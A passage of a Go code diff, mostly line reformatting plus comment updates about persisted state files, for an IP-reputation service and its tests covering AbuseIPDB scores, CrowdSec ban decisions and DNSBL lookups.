-		t.Errorf("%s has the score %d, a hit %t, want %d, %t", client, gotScore, gotHit,
+		t.Errorf(
-			score, hit)
+			"%s has the score %d, a hit %t, want %d, %t",
+			client,
+			gotScore,
+			gotHit,
+			score,
+			hit,
+		)
 	}
 }
 
@@ -583,7 +693,10 @@ func wantScore(
 // Its client is address for an IPv4 address, and its /64 for an IPv6 one,
 // as sww counts clients.
 func hitFrom(
-	t *testing.T, checker *reputation.AbuseIPDB, address string, offender bool,
+	t *testing.T,
+	checker *reputation.AbuseIPDB,
+	address string,
+	offender bool,
 ) (int64, bool) {
 	t.Helper()
 
@@ -627,7 +740,10 @@ func wantFailures(t *testing.T, checker *reputation.AbuseIPDB, want int) {
 // the error failure, and that the cooldown has held back held repeats of
 // it.
 func wantFailureAlert(
-	t *testing.T, queue *alerts.Queue, raised time.Time, reason, failure string,
+	t *testing.T,
+	queue *alerts.Queue,
+	raised time.Time,
+	reason, failure string,
 	held int64,
 ) {
 	t.Helper()
@@ -637,8 +753,15 @@ func wantFailureAlert(
 		got[0].Event != alerts.EventSourceFailure || got[0].Reason != reason ||
 		got[0].Detail["source"] != reputation.AbuseIPDBSource ||
 		got[0].Detail["error"] != failure || queue.Suppressed() != held {
-		t.Errorf("alerts waiting %+v, %d held back, want only AbuseIPDB's %q with %q, "+
+		t.Errorf(
-			"and %d", got, queue.Suppressed(), reason, failure, held)
+			"alerts waiting %+v, %d held back, want only AbuseIPDB's %q with %q, "+
+				"and %d",
+			got,
+			queue.Suppressed(),
+			reason,
+			failure,
+			held,
+		)
 	}
 }
 
@@ -656,8 +779,11 @@ func scrapeMetrics(t *testing.T, m *metrics.Metrics) string {
 	t.Helper()
 
 	scraped := httptest.NewRecorder()
-	m.ServeHTTP(scraped, httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/",
+	m.ServeHTTP(
-		http.NoBody))
+		scraped,
+		httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/",
+			http.NoBody),
+	)
 
 	return scraped.Body.String()
 }

internal/reputation/crowdsec_test.go

@@ -37,7 +37,9 @@ const (
 	rangeScope = "Range"
 )
 
-func TestCrowdSecDecisionBansItsNetblockUntilItEndsEvenWithTheEngineDown(t *testing.T) {
+func TestCrowdSecDecisionBansItsNetblockUntilItEndsEvenWithTheEngineDown(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
@@ -48,7 +50,13 @@ func TestCrowdSecDecisionBansItsNetblockUntilItEndsEvenWithTheEngineDown(t *test
 			// A shorter decision on the same address, which is not the one
 			// used.
 			{"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)},
-			{rangeScope, "198.51.100.0/24", ban, probing, began.Add(time.Hour)},
+			{
+				rangeScope,
+				"198.51.100.0/24",
+				ban,
+				probing,
+				began.Add(time.Hour),
+			},
 			{"Ip", "2001:db8::1", ban, sshBF, began.Add(2 * time.Hour)},
 			// Left out: a decision to show a captcha, and one on a country.
 			{"Ip", "192.0.2.50", "captcha", probing, began.Add(time.Hour)},
@@ -74,14 +82,28 @@ func TestCrowdSecDecisionBansItsNetblockUntilItEndsEvenWithTheEngineDown(t *test
 		e.set(func(e *engine) { e.failing = true })
 		time.Sleep(time.Hour - time.Nanosecond)
 		synctest.Wait()
-		wantDecision(t, lists, "198.51.100.7",
+		wantDecision(
-			reputation.Decision{Expires: began.Add(time.Hour), Scenario: probing})
+			t,
+			lists,
+			"198.51.100.7",
+			reputation.Decision{
+				Expires:  began.Add(time.Hour),
+				Scenario: probing,
+			},
+		)
 
 		time.Sleep(time.Nanosecond)
 		synctest.Wait()
 		wantDecision(t, lists, "198.51.100.7", reputation.Decision{})
-		wantDecision(t, lists, suspect,
+		wantDecision(
-			reputation.Decision{Expires: began.Add(6 * time.Hour), Scenario: manual})
+			t,
+			lists,
+			suspect,
+			reputation.Decision{
+				Expires:  began.Add(6 * time.Hour),
+				Scenario: manual,
+			},
+		)
 	})
 }
 
@@ -96,7 +118,10 @@ func TestCrowdSecDecisionListFetchedAgainEveryMinute(t *testing.T) {
 		lists := start(t, e, crowdSecParams())
 		wantEngineFetches(t, e, 1)
 
-		added := reputation.Decision{Expires: began.Add(2 * time.Hour), Scenario: probing}
+		added := reputation.Decision{
+			Expires:  began.Add(2 * time.Hour),
+			Scenario: probing,
+		}
 
 		e.set(func(e *engine) {
 			e.decisions = append(e.decisions,
@@ -125,23 +150,58 @@ func TestCrowdSecDecisionOnAClientIsTheOneThatEndsLast(t *testing.T) {
 			// 198.51.100.130 is held by a decision on its address that ends
 			// after the one on its netblock, and 192.0.2.20 by one that ends
 			// before.
-			{rangeScope, "198.51.100.128/25", ban, sshBF, began.Add(time.Hour)},
+			{
+				rangeScope,
+				"198.51.100.128/25",
+				ban,
+				sshBF,
+				began.Add(time.Hour),
+			},
 			{"Ip", "198.51.100.130", ban, probing, began.Add(3 * time.Hour)},
-			{rangeScope, "192.0.2.0/24", ban, probing, began.Add(5 * time.Hour)},
+			{
+				rangeScope,
+				"192.0.2.0/24",
+				ban,
+				probing,
+				began.Add(5 * time.Hour),
+			},
 			{"Ip", "192.0.2.20", ban, sshBF, began.Add(2 * time.Hour)},
 		}}
 		lists := start(t, e, crowdSecParams())
 
-		wantDecision(t, lists, suspect,
+		wantDecision(
-			reputation.Decision{Expires: began.Add(4 * time.Hour), Scenario: probing})
+			t,
-		wantDecision(t, lists, "198.51.100.130",
+			lists,
-			reputation.Decision{Expires: began.Add(3 * time.Hour), Scenario: probing})
+			suspect,
-		wantDecision(t, lists, "192.0.2.20",
+			reputation.Decision{
-			reputation.Decision{Expires: began.Add(5 * time.Hour), Scenario: probing})
+				Expires:  began.Add(4 * time.Hour),
+				Scenario: probing,
+			},
+		)
+		wantDecision(
+			t,
+			lists,
+			"198.51.100.130",
+			reputation.Decision{
+				Expires:  began.Add(3 * time.Hour),
+				Scenario: probing,
+			},
+		)
+		wantDecision(
+			t,
+			lists,
+			"192.0.2.20",
+			reputation.Decision{
+				Expires:  began.Add(5 * time.Hour),
+				Scenario: probing,
+			},
+		)
 	})
 }
 
-func TestCrowdSecAnswerOfNoDecisionIsAGoodCopyThatListsNoClient(t *testing.T) {
+func TestCrowdSecAnswerOfNoDecisionIsAGoodCopyThatListsNoClient(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
@@ -203,27 +263,43 @@ func TestCrowdSecFailureKeepsTheLastGoodCopyAlertsOncePerCooldownAndHidesTheKey(
 				}
 
 				wantEngineFetches(t, e, 3)
-				wantDecision(t, lists, suspect,
+				wantDecision(
-					reputation.Decision{Expires: began.Add(4 * time.Hour), Scenario: sshBF})
+					t,
+					lists,
+					suspect,
+					reputation.Decision{
+						Expires:  began.Add(4 * time.Hour),
+						Scenario: sshBF,
+					},
+				)
 
 				want := kept[0]
 				want.Tried = time.Now()
 
-				if got := lists.Snapshot(); !reflect.DeepEqual(got, []reputation.List{want}) {
+				got := lists.Snapshot()
-					t.Errorf("lists %+v, want the first copy, last tried now, %+v", got, want)
+				if !reflect.DeepEqual(got, []reputation.List{want}) {
+					t.Errorf(
+						"lists %+v, want the first copy, last tried now, %+v",
+						got,
+						want,
+					)
 				}
 
-				if lists.Failures(decisionsURL) != 2 {
+				if n := lists.Failures(decisionsURL); n != 2 {
-					t.Errorf("%d failures, want 2", lists.Failures(decisionsURL))
+					t.Errorf("%d failures, want 2", n)
 				}
 
 				// One alert for the first failure; the cooldown holds back the
 				// second.
-				wantAlert(t, queue,
+				failed := time.Now().Add(-time.Minute)
-					fetchFailure(time.Now().Add(-time.Minute), decisionsURL, tc.error))
+				alert := fetchFailure(failed, decisionsURL, tc.error)
+				wantAlert(t, queue, alert)
 
-				if !strings.Contains(log.String(), `"msg":"fetching a list failed",`+
+				if !strings.Contains(
-					`"url":"`+decisionsURL+`","error":"`+tc.error) {
+					log.String(),
+					`"msg":"fetching a list failed",`+
+						`"url":"`+decisionsURL+`","error":"`+tc.error,
+				) {
 					t.Errorf("logged\n%s\nwant the failures", log.String())
 				}
 
@@ -291,9 +367,13 @@ func crowdSecFailures() []crowdSecFailure {
 // other than its decision list, such as the one a redirect names, and that
 // the key is in none of what the fetches leave behind: log, the process
 // log, the alerts waiting in queue, and the copies of lists, which
-// reputation.json keeps.
+// lists.json keeps.
 func wantKeyNotShown(
-	t *testing.T, e *engine, log string, lists *reputation.Lists, queue *alerts.Queue,
+	t *testing.T,
+	e *engine,
+	log string,
+	lists *reputation.Lists,
+	queue *alerts.Queue,
 ) {
 	t.Helper()
 
@@ -315,18 +395,26 @@ func wantKeyNotShown(
 	}
 }
 
-func TestCrowdSecDecisionListKeptAcrossARestartEndsWhenItsDecisionsDo(t *testing.T) {
+func TestCrowdSecDecisionListKeptAcrossARestartEndsWhenItsDecisionsDo(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
 		began := time.Now()
 		e := &engine{key: engineKey, decisions: []decision{
-			{rangeScope, "198.51.100.0/24", ban, probing, began.Add(time.Hour)},
+			{
+				rangeScope,
+				"198.51.100.0/24",
+				ban,
+				probing,
+				began.Add(time.Hour),
+			},
 		}}
 		lists := start(t, e, crowdSecParams())
 		kept := lists.Snapshot()
 
-		// Restarted half an hour later with what reputation.json keeps, and
+		// Restarted half an hour later with what lists.json keeps, and
 		// the engine down, the decision still bans, until the end it had at
 		// the fetch, half an hour on.
 		time.Sleep(30 * time.Minute)
@@ -342,7 +430,10 @@ func TestCrowdSecDecisionListKeptAcrossARestartEndsWhenItsDecisionsDo(t *testing
 
 		run(t, again)
 
-		want := reputation.Decision{Expires: began.Add(time.Hour), Scenario: probing}
+		want := reputation.Decision{
+			Expires:  began.Add(time.Hour),
+			Scenario: probing,
+		}
 		wantDecision(t, again, "198.51.100.7", want)
 
 		time.Sleep(30*time.Minute - time.Nanosecond)
@@ -415,7 +506,8 @@ func (e *engine) RoundTrip(req *http.Request) (*http.Response, error) {
 
 	e.fetches++
 
-	if req.URL.String() != decisionsURL && req.Header.Get("X-Api-Key") != "" {
+	if req.URL.String() != decisionsURL &&
+		req.Header.Get("X-Api-Key") != "" {
 		e.keySentTo = append(e.keySentTo, req.URL.String())
 	}
 
@@ -425,7 +517,9 @@ func (e *engine) RoundTrip(req *http.Request) (*http.Response, error) {
 	case req.URL.String() != decisionsURL || req.Header.Get("X-Api-Key") != e.key:
 		status, body = http.StatusForbidden, `{"message":"access forbidden"}`
 	case e.redirect != "":
-		status, header = http.StatusFound, http.Header{"Location": {e.redirect}}
+		status, header = http.StatusFound, http.Header{
+			"Location": {e.redirect},
+		}
 	case e.failing:
 		status, body = http.StatusServiceUnavailable, ""
 	case body == "":
@@ -449,7 +543,9 @@ func (e *engine) inForce(now time.Time) string {
 	for _, d := range e.decisions {
 		if now.Before(d.expires) {
 			answer = append(answer, map[string]string{
-				"duration": d.expires.Sub(now).String(), "origin": "crowdsec",
+				"duration": d.expires.Sub(now).
+					String(),
+				"origin":   "crowdsec",
 				"scenario": d.scenario, "scope": d.scope, "type": d.kind, "value": d.value,
 			})
 		}
@@ -501,13 +597,26 @@ func wantEngineFetches(t *testing.T, e *engine, want int) {
 // wantDecision checks the decision lists says is in force on addr now,
 // the zero Decision for none.
 func wantDecision(
-	t *testing.T, lists *reputation.Lists, addr string, want reputation.Decision,
+	t *testing.T,
+	lists *reputation.Lists,
+	addr string,
+	want reputation.Decision,
 ) {
 	t.Helper()
 
-	got, listed := lists.CrowdSecDecision(netip.MustParseAddr(addr), time.Now())
+	got, listed := lists.CrowdSecDecision(
+		netip.MustParseAddr(addr),
+		time.Now(),
+	)
 	if listed != !want.Expires.IsZero() ||
-		listed && (!got.Expires.Equal(want.Expires) || got.Scenario != want.Scenario) {
+		listed &&
-		t.Errorf("%s has the decision %+v in force %t, want %+v", addr, got, listed, want)
+			(!got.Expires.Equal(want.Expires) || got.Scenario != want.Scenario) {
+		t.Errorf(
+			"%s has the decision %+v in force %t, want %+v",
+			addr,
+			got,
+			listed,
+			want,
+		)
 	}
 }

internal/reputation/dnsbl.go

@@ -40,7 +40,7 @@ var (
 	errNotListing = errors.New("the answer is outside 127.0.0.0/8")
 )
 
-// Verdict is what a zone said about a client, as reputation.json holds
+// Verdict is what a zone said about a client, as dnsbl.json holds
 // it: the zone, the client's address, whether the zone lists it, and when
 // the zone answered.
 type Verdict struct {
@@ -187,7 +187,7 @@ func (d *DNSBL) Failures(zone string) int {
 }
 
 // Snapshot returns every verdict still in use, sorted by client, then by
-// zone, as reputation.json lists them.
+// zone, as dnsbl.json lists them.
 func (d *DNSBL) Snapshot() []Verdict {
 	d.mu.Lock()
 
@@ -203,13 +203,16 @@ func (d *DNSBL) Snapshot() []Verdict {
 	d.mu.Unlock()
 
 	slices.SortFunc(verdicts, func(a, b Verdict) int {
-		return cmp.Or(a.Client.Compare(b.Client), strings.Compare(a.Zone, b.Zone))
+		return cmp.Or(
+			a.Client.Compare(b.Client),
+			strings.Compare(a.Zone, b.Zone),
+		)
 	})
 
 	return verdicts
 }
 
-// Load keeps verdicts, read from reputation.json, in place of those it
+// Load keeps verdicts, read from dnsbl.json, in place of those it
 // keeps, but for those of a zone SWW_DNSBL_ZONES does not name, and,
 // past maxVerdicts, those fetched longest ago. One fetched CacheTTL ago or
 // more is neither used nor written, as for any verdict.
@@ -275,7 +278,11 @@ func (d *DNSBL) lookUp(ctx context.Context, q query) (bool, error) {
 	ctx, cancel := context.WithTimeout(ctx, d.params.Timeout)
 	defer cancel()
 
-	answer, err := d.resolver.LookupNetIP(ctx, "ip4", queryName(q.zone, q.client))
+	answer, err := d.resolver.LookupNetIP(
+		ctx,
+		"ip4",
+		queryName(q.zone, q.client),
+	)
 
 	var dnsErr *net.DNSError
 

internal/reputation/dnsbl_test.go

@@ -73,7 +73,11 @@ func TestMain(m *testing.M) {
 			return nil, errNoNetwork
 		},
 	}
-	_, _ = resolver.LookupNetIP(context.Background(), "ip4", "warm-up.invalid.")
+	_, _ = resolver.LookupNetIP(
+		context.Background(),
+		"ip4",
+		"warm-up.invalid.",
+	)
 
 	m.Run()
 }
@@ -91,8 +95,10 @@ func TestZonesListOrNotClientsByTheirIPv4AndIPv6Addresses(t *testing.T) {
 		)
 
 		resolver := &resolverStandIn{answers: map[string]answer{
-			"99.2.0.192." + zone + ".":      {addrs: []string{listing}},
+			"99.2.0.192." + zone + ".": {addrs: []string{listing}},
-			v6Name + otherZone + ".":        {addrs: []string{"127.0.0.4", "127.0.0.10"}},
+			v6Name + otherZone + ".": {
+				addrs: []string{"127.0.0.4", "127.0.0.10"},
+			},
 			"99.2.0.192." + otherZone + ".": {},
 		}}
 		dnsbl := newDNSBL(resolver, dnsblParams(zone, otherZone))
@@ -131,8 +137,11 @@ func TestListedByNeverWaitsForAQuery(t *testing.T) {
 	})
 }
 
+//
 //nolint:paralleltest // one at a time, as the comment at the top of this file says
-func TestVerdictUsedUntilTheCacheTTLHasPassedSinceItWasFetched(t *testing.T) {
+func TestVerdictUsedUntilTheCacheTTLHasPassedSinceItWasFetched(
+	t *testing.T,
+) {
 	synctest.Test(t, func(t *testing.T) {
 		resolver := &resolverStandIn{answers: map[string]answer{
 			listedName: {addrs: []string{listing}},
@@ -198,8 +207,11 @@ func TestQueryNotAnsweredWithinTheTimeoutFails(t *testing.T) {
 	})
 }
 
+//
 //nolint:paralleltest // one at a time, as the comment at the top of this file says
-func TestZoneThatFailsOrRefusesGivesNoVerdictAndIsLeftAloneForAMinute(t *testing.T) {
+func TestZoneThatFailsOrRefusesGivesNoVerdictAndIsLeftAloneForAMinute(
+	t *testing.T,
+) {
 	for _, tc := range []struct {
 		name   string
 		answer answer
@@ -230,9 +242,12 @@ func TestZoneThatFailsOrRefusesGivesNoVerdictAndIsLeftAloneForAMinute(t *testing
 				p := dnsblParams(zone)
 				p.Alerts = queue
 				p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
-				dnsbl := newDNSBL(&resolverStandIn{answers: map[string]answer{
+				dnsbl := newDNSBL(
-					listedName: tc.answer,
+					&resolverStandIn{answers: map[string]answer{
-				}}, p)
+						listedName: tc.answer,
+					}},
+					p,
+				)
 
 				// The failure gives no verdict, and the zone is not asked
 				// again within a minute of it.
@@ -258,11 +273,17 @@ func TestZoneThatFailsOrRefusesGivesNoVerdictAndIsLeftAloneForAMinute(t *testing
 					Time:   time.Now().Add(-time.Minute),
 					Event:  alerts.EventSourceFailure,
 					Reason: "asking a DNSBL zone failed",
-					Detail: map[string]any{"source": zone, "error": tc.error},
+					Detail: map[string]any{
+						"source": zone,
+						"error":  tc.error,
+					},
 				})
 
-				if !strings.Contains(log.String(), `"msg":"asking a DNSBL zone failed",`+
+				if !strings.Contains(
-					`"zone":"`+zone+`","error":"`+tc.error) {
+					log.String(),
+					`"msg":"asking a DNSBL zone failed",`+
+						`"zone":"`+zone+`","error":"`+tc.error,
+				) {
 					t.Errorf("logged\n%s\nwant the failures", log.String())
 				}
 			})
@@ -302,8 +323,11 @@ func TestMetricsCountEachZonesQueriesAndThoseThatFailed(t *testing.T) {
 		synctest.Wait()
 
 		scraped := httptest.NewRecorder()
-		m.ServeHTTP(scraped, httptest.NewRequestWithContext(t.Context(), http.MethodGet,
+		m.ServeHTTP(
-			"/", http.NoBody))
+			scraped,
+			httptest.NewRequestWithContext(t.Context(), http.MethodGet,
+				"/", http.NoBody),
+		)
 
 		for series, want := range map[string]string{
 			"queries_total" + `{instance="app",source="` + zone + `"}`:       "1",
@@ -348,19 +372,32 @@ func TestZoneKeyIsMaskedInTheVerdictsTheFailuresAndTheMetrics(t *testing.T) {
 		synctest.Wait()
 		wantZones(t, dnsbl, listed, masked)
 
-		if got := waiting(queue); len(got) != 1 || got[0].Detail["source"] != masked {
+		if got := waiting(queue); len(got) != 1 ||
-			t.Errorf("alerts waiting %+v, want the failure's, from %s", got, masked)
+			got[0].Detail["source"] != masked {
+			t.Errorf(
+				"alerts waiting %+v, want the failure's, from %s",
+				got,
+				masked,
+			)
 		}
 
 		scraped := httptest.NewRecorder()
-		m.ServeHTTP(scraped, httptest.NewRequestWithContext(t.Context(), http.MethodGet,
+		m.ServeHTTP(
-			"/", http.NoBody))
+			scraped,
+			httptest.NewRequestWithContext(t.Context(), http.MethodGet,
+				"/", http.NoBody),
+		)
 
 		for name, shown := range map[string]string{
 			"the log": log.String(), "the metrics": scraped.Body.String(),
 		} {
-			if strings.Contains(shown, key) || !strings.Contains(shown, masked) {
+			if strings.Contains(shown, key) ||
-				t.Errorf("%s shows the key, or does not name the zone:\n%s", name, shown)
+				!strings.Contains(shown, masked) {
+				t.Errorf(
+					"%s shows the key, or does not name the zone:\n%s",
+					name,
+					shown,
+				)
 			}
 		}
 	})
@@ -382,14 +419,23 @@ func TestVerdictsKeptAcrossARestart(t *testing.T) {
 		kept := dnsbl.Snapshot()
 
 		want := []reputation.Verdict{
-			{Zone: zone, Client: netip.MustParseAddr(listed), Listed: true, Fetched: fetched},
+			{
-			{Zone: zone, Client: netip.MustParseAddr(unlisted), Fetched: fetched},
+				Zone:    zone,
+				Client:  netip.MustParseAddr(listed),
+				Listed:  true,
+				Fetched: fetched,
+			},
+			{
+				Zone:    zone,
+				Client:  netip.MustParseAddr(unlisted),
+				Fetched: fetched,
+			},
 		}
 		if !reflect.DeepEqual(kept, want) {
 			t.Errorf("verdicts %+v, want %+v", kept, want)
 		}
 
-		// Restarted an hour later with what reputation.json keeps, it uses
+		// Restarted an hour later with what dnsbl.json keeps, it uses
 		// the verdicts, and asks the zone nothing, until the TTL has passed
 		// since they were fetched.
 		time.Sleep(time.Hour)
@@ -433,12 +479,17 @@ func TestNeitherAVerdictOfAZoneNotNamedNorOnePastItsTTLIsKept(t *testing.T) {
 
 	dnsbl.Load([]reputation.Verdict{notNamed, stale, inUse})
 
-	if got := dnsbl.Snapshot(); !reflect.DeepEqual(got, []reputation.Verdict{inUse}) {
+	if got := dnsbl.Snapshot(); !reflect.DeepEqual(
+		got,
+		[]reputation.Verdict{inUse},
+	) {
 		t.Errorf("verdicts %+v, want only %+v", got, inUse)
 	}
 }
 
-func TestAtMost100000VerdictsKeptTheOneFetchedLongestAgoDroppedFirst(t *testing.T) {
+func TestAtMost100000VerdictsKeptTheOneFetchedLongestAgoDroppedFirst(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	now := time.Date(2026, 10, 7, 0, 0, 0, 0, time.UTC)
@@ -446,7 +497,7 @@ func TestAtMost100000VerdictsKeptTheOneFetchedLongestAgoDroppedFirst(t *testing.
 	p.Now = func() time.Time { return now }
 	dnsbl := reputation.NewDNSBL(p)
 
-	// 100,001 verdicts, listed by client, as reputation.json lists them,
+	// 100,001 verdicts, listed by client, as dnsbl.json lists them,
 	// each fetched a millisecond before the one before it: the last is one
 	// too many.
 	const count = 100001
@@ -466,7 +517,10 @@ func TestAtMost100000VerdictsKeptTheOneFetchedLongestAgoDroppedFirst(t *testing.
 	got := dnsbl.Snapshot()
 	if len(got) != count-1 || !slices.Contains(got, verdicts[0]) ||
 		slices.Contains(got, verdicts[count-1]) {
-		t.Errorf("%d verdicts kept, want all but the one fetched longest ago", len(got))
+		t.Errorf(
+			"%d verdicts kept, want all but the one fetched longest ago",
+			len(got),
+		)
 	}
 }
 
@@ -476,7 +530,11 @@ func TestQueriesGoToTheResolverSWWDNSBLResolverNames(t *testing.T) {
 		listedName: {addrs: []string{listing}},
 	}}
 
-	conn, err := (&net.ListenConfig{}).ListenPacket(t.Context(), "udp", "127.0.0.1:0")
+	conn, err := (&net.ListenConfig{}).ListenPacket(
+		t.Context(),
+		"udp",
+		"127.0.0.1:0",
+	)
 	if err != nil {
 		t.Fatalf("listen: %v", err)
 	}
@@ -500,7 +558,8 @@ func TestQueriesGoToTheResolverSWWDNSBLResolverNames(t *testing.T) {
 	// process held up for a whole minute would see the query fail.
 	p.Timeout = time.Minute
 
-	isListed, err := reputation.NewDNSBL(p).LookUp(zone, netip.MustParseAddr(listed))
+	isListed, err := reputation.NewDNSBL(p).
+		LookUp(zone, netip.MustParseAddr(listed))
 	if err != nil || !isListed {
 		t.Errorf("listed %t (%v), want true", isListed, err)
 	}
@@ -554,7 +613,11 @@ func (s *resolverStandIn) set(name string, given answer) {
 // dial connects Go's resolver to the stand-in through an in-memory
 // connection, on which it sends each query, and reads each reply, after
 // its length, as over TCP.
-func (s *resolverStandIn) dial(context.Context, string, string) (net.Conn, error) {
+func (s *resolverStandIn) dial(
+	context.Context,
+	string,
+	string,
+) (net.Conn, error) {
 	client, server := net.Pipe()
 
 	go s.serve(server)
@@ -590,8 +653,10 @@ func (s *resolverStandIn) serve(conn net.Conn) {
 		}
 
 		//nolint:gosec // a reply of a few dozen bytes
-		_, err = conn.Write(append(binary.BigEndian.AppendUint16(nil, uint16(len(reply))),
+		_, err = conn.Write(
-			reply...))
+			append(binary.BigEndian.AppendUint16(nil, uint16(len(reply))),
+				reply...),
+		)
 		if err != nil {
 			return
 		}
@@ -692,7 +757,10 @@ func waitForTheResolver() {
 }
 
 // newDNSBL returns the DNSBL of p, asking resolver.
-func newDNSBL(resolver *resolverStandIn, p reputation.DNSBLParams) *reputation.DNSBL {
+func newDNSBL(
+	resolver *resolverStandIn,
+	p reputation.DNSBLParams,
+) *reputation.DNSBL {
 	dnsbl := reputation.NewDNSBL(p)
 	dnsbl.SetDial(resolver.dial)
 
@@ -701,7 +769,12 @@ func newDNSBL(resolver *resolverStandIn, p reputation.DNSBLParams) *reputation.D
 
 // wantZones checks the zones whose verdict dnsbl says lists client, as a
 // request from client finds them.
-func wantZones(t *testing.T, dnsbl *reputation.DNSBL, client string, want ...string) {
+func wantZones(
+	t *testing.T,
+	dnsbl *reputation.DNSBL,
+	client string,
+	want ...string,
+) {
 	t.Helper()
 
 	got := dnsbl.ListedBy(t.Context(), netip.MustParseAddr(client))
@@ -712,12 +785,21 @@ func wantZones(t *testing.T, dnsbl *reputation.DNSBL, client string, want ...str
 
 // wantQueries checks how many queries dnsbl made to zone, and how many of
 // them failed.
-func wantQueries(t *testing.T, dnsbl *reputation.DNSBL, queries, failures int) {
+func wantQueries(
+	t *testing.T,
+	dnsbl *reputation.DNSBL,
+	queries, failures int,
+) {
 	t.Helper()
 
 	if dnsbl.Queries(zone) != queries || dnsbl.Failures(zone) != failures {
-		t.Errorf("%d queries and %d failures, want %d and %d", dnsbl.Queries(zone),
+		t.Errorf(
-			dnsbl.Failures(zone), queries, failures)
+			"%d queries and %d failures, want %d and %d",
+			dnsbl.Queries(zone),
+			dnsbl.Failures(zone),
+			queries,
+			failures,
+		)
 	}
 }
 

internal/reputation/reputation.go

@@ -7,8 +7,8 @@
 // and when each was last tried. It also asks the DNSBL zones of
 // SWW_DNSBL_ZONES about clients, and keeps their verdicts, and checks
 // clients with AbuseIPDB, and keeps their scores and the checks spent
-// today. The state package writes all of these to reputation.json and
+// today. The state package writes all of these to files and reads them
-// reads them from it, so that a restart keeps them too.
+// from there, so that a restart keeps them too.
 package reputation
 
 import (
@@ -45,16 +45,19 @@ const (
 )
 
 var (
-	errStatus        = errors.New("the server answered")
+	errStatus      = errors.New("the server answered")
-	errTooLong       = errors.New("the list is longer than 16 MiB")
+	errTooLong     = errors.New("the list is longer than 16 MiB")
-	errNotNetblock   = errors.New("is not an address or a netblock, such as 192.0.2.0/24")
+	errNotNetblock = errors.New(
+		"is not an address or a netblock, such as 192.0.2.0/24",
+	)
 	errNotASNPercent = errors.New(
 		"is not an AS number, : and a percentage, such as AS64496:50")
 	errNotDecision = errors.New(
-		"does not give an address or a netblock and a duration, such as 4h0m0s")
+		"does not give an address or a netblock and a duration, such as 4h0m0s",
+	)
 )
 
-// List is a list as reputation.json holds it: the URL it is fetched from,
+// List is a list as lists.json holds it: the URL it is fetched from,
 // when it was last tried, the fetch failed or not, and its last good copy:
 // when that was fetched, and its lines, as fetched, comment lines
 // included, both left out while no fetch of it has succeeded.
@@ -106,7 +109,7 @@ type Lists struct {
 	lists map[string]*list
 }
 
-// list is one list: what reputation.json keeps of it, its last try, zero
+// list is one list: what lists.json keeps of it, its last try, zero
 // before the first, and its last good copy, what that copy says, and how
 // many fetches of it failed.
 type list struct {
@@ -226,7 +229,10 @@ func (l *Lists) ASNLimitPercent(asn string) (int64, bool) {
 // decision list on a netblock that holds addr and that ends last, and
 // whether it is still in force at now. A decision that has ended no
 // longer bans, even before the next fetch drops it.
-func (l *Lists) CrowdSecDecision(addr netip.Addr, now time.Time) (Decision, bool) {
+func (l *Lists) CrowdSecDecision(
+	addr netip.Addr,
+	now time.Time,
+) (Decision, bool) {
 	if l.params.CrowdSecDecisionsURL == "" {
 		return Decision{}, false
 	}
@@ -272,7 +278,7 @@ func (l *Lists) Failures(listURL string) int {
 
 // Run fetches each list once it is due, as due tells, until ctx is done. A
 // list never tried is fetched at once, and so is one that is due by its
-// last try or copy read from reputation.json.
+// last try or copy read from lists.json.
 func (l *Lists) Run(ctx context.Context) {
 	if len(l.lists) == 0 {
 		return
@@ -292,7 +298,7 @@ func (l *Lists) Run(ctx context.Context) {
 }
 
 // Snapshot returns each list that has been tried, with its copy, if it
-// has one, sorted by URL, as reputation.json lists them.
+// has one, sorted by URL, as lists.json lists them.
 func (l *Lists) Snapshot() []List {
 	l.mu.Lock()
 
@@ -313,7 +319,7 @@ func (l *Lists) Snapshot() []List {
 	return tried
 }
 
-// Load puts lists, read from reputation.json, in place of the last tries
+// Load puts lists, read from lists.json, in place of the last tries
 // and copies held. A list Params does not name is dropped. A copy with a
 // line that parse refuses is an error, and then nothing changes.
 func (l *Lists) Load(lists []List) error {
@@ -431,12 +437,24 @@ func (l *Lists) fetch(ctx context.Context, listURL string) {
 		// Raised before it is logged, so that the alert is there once the
 		// log line is.
 		raiseFailure(l.params.Alerts, failed, listURL, err)
-		l.params.ProcessLog.Warn(failed, "url", listURL, "error", err.Error())
+		l.params.ProcessLog.Warn(
+			failed,
+			"url",
+			listURL,
+			"error",
+			err.Error(),
+		)
 
 		return
 	}
 
-	l.params.ProcessLog.Info("fetched a list", "url", listURL, "lines", len(lines))
+	l.params.ProcessLog.Info(
+		"fetched a list",
+		"url",
+		listURL,
+		"lines",
+		len(lines),
+	)
 }
 
 // raiseFailure raises a source_failure alert into queue, with reason, and
@@ -459,7 +477,12 @@ func (l *Lists) get(ctx context.Context, listURL string) ([]string, error) {
 	ctx, cancel := context.WithTimeout(ctx, fetchTimeout)
 	defer cancel()
 
-	req, err := http.NewRequestWithContext(ctx, http.MethodGet, listURL, http.NoBody)
+	req, err := http.NewRequestWithContext(
+		ctx,
+		http.MethodGet,
+		listURL,
+		http.NoBody,
+	)
 	if err != nil {
 		return nil, fmt.Errorf("make the request: %w", err)
 	}
@@ -570,7 +593,10 @@ func parseNetblock(text string) (netip.Prefix, bool) {
 		return netip.Prefix{}, false
 	}
 
-	return netip.PrefixFrom(netblock.Addr().Unmap(), netblock.Bits()-mappedBits), true
+	return netip.PrefixFrom(
+		netblock.Addr().Unmap(),
+		netblock.Bits()-mappedBits,
+	), true
 }
 
 // parsePercents reads the lines of the file of AS:percent lines, each an
@@ -628,7 +654,8 @@ func parseDecisions(lines []string, fetched time.Time) (entries, error) {
 	found := entries{decisions: map[netip.Prefix]Decision{}}
 
 	for i, decision := range answer {
-		if decision.Type != "ban" || (decision.Scope != "Ip" && decision.Scope != "Range") {
+		if decision.Type != "ban" ||
+			(decision.Scope != "Ip" && decision.Scope != "Range") {
 			continue
 		}
 
@@ -636,12 +663,19 @@ func parseDecisions(lines []string, fetched time.Time) (entries, error) {
 
 		duration, err := time.ParseDuration(decision.Duration)
 		if !ok || err != nil {
-			return entries{}, fmt.Errorf("decision %d %w", i+1, errNotDecision)
